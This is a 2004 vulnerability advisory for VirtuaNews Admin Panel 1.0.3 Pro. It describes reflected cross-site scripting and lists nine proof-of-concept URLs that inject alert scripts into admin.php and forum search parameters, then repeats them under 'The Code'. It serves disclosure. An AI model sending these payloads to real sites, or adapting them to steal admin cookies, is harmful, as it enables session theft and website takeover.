~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Software: VirtuaNews Admin Panel Vendor: http://www.virtuanews.co.uk Versions: 1.0.3 Pro Platforms: Unix/Windows Bug: Cross Site Scripting Vulnerabillity Risk: Medium Exploitation: Remote with browser Date: 19 Feb 2004 Author: Rafel Ivgi, The-Insider e-mail: the_insider () mail com web: http://theinsider.deep-ice.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1) Introduction 2) Bug 3) The Code ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =============== 1) Introduction =============== VirtuaNews Admin Panel is a good administration software. Many administrators choose it to be their "safe door", therefore it should strong and safe. The main risk describes in this advisory is the harm that could be done to the administration staff. When the vulnerabilities concerns the staff it is more dangerous that harming users, because if a staff's member cookie is stolen, the attackers can take over the website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ====== 2) Bug ====== The Vulnerabillity is Cross Site Scripting. If an attacker will request any of the following urls from the server: http://<host>/admin.php?"><script>alert('XSS')</script> http://<host>/forum/search.php?do=process&showposts=0&query=<script>alert('X SS')</script> http://<host>/admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&main news=~~~~"></textarea><script>alert('XSS')</script> http://<host>/admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&main news=~~~~"></textarea>--><script>alert('XSS')</script> http://<host>/admin.php?">action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&ma innews=~~~~"></textarea><script>alert('XSS')</script> http://<host>/admin.php?action=files&expand="><script>alert('XSS')</script> http://<host>/admin.php?action=files_cat_delete&id="><script>alert('XSS')</s cript> http://<host>/admin.php?action=files_check&catid="><script>alert('XSS')</scr ipt> http://<host>/admin.php?action=newslogo_upload&"><script>alert('XSS')</scrip t> XSS appears and the server allows an attacker to inject & execute scripts. In the words of securityfocus.com : ~~~~~~~~~~~~~~~~~~~~~~~~~~ If all of these circumstances are met, an attacker may be able to exploit this issue via a malicious link containing arbitrary HTML and script code as part of the hostname. When the malicious link is clicked by an unsuspecting user, the attacker-supplied HTML and script code will be executed by their web client. This will occur because the server will echo back the malicious hostname supplied in the client's request, without sufficiently escaping HTML and script code. Attacks of this nature may make it possible for attackers to manipulate web content or to steal cookie-based authentication credentials. It may be possible to take arbitrary actions as the victim user. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =========== 3) The Code =========== http://<host>/admin.php?"><script>alert('XSS')</script> http://<host>/forum/search.php?do=process&showposts=0&query=<script>alert('X SS')</script> http://<host>/admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&main news=~~~~"></textarea><script>alert('XSS')</script> http://<host>/admin.php?action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&main news=~~~~"></textarea>--><script>alert('XSS')</script> http://<host>/admin.php?">action=vulns_add&catid=SELECT&title=~~~~~~~~~~~&ma innews=~~~~"></textarea><script>alert('XSS')</script> http://<host>/admin.php?action=files&expand="><script>alert('XSS')</script> http://<host>/admin.php?action=files_cat_delete&id="><script>alert('XSS')</s cript> http://<host>/admin.php?action=files_check&catid="><script>alert('XSS')</scr ipt> http://<host>/admin.php?action=newslogo_upload&"><script>alert('XSS')</scrip t> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --- Rafel Ivgi, The-Insider http://theinsider.deep-ice.com "Things that are unlikeable, are NOT impossible."
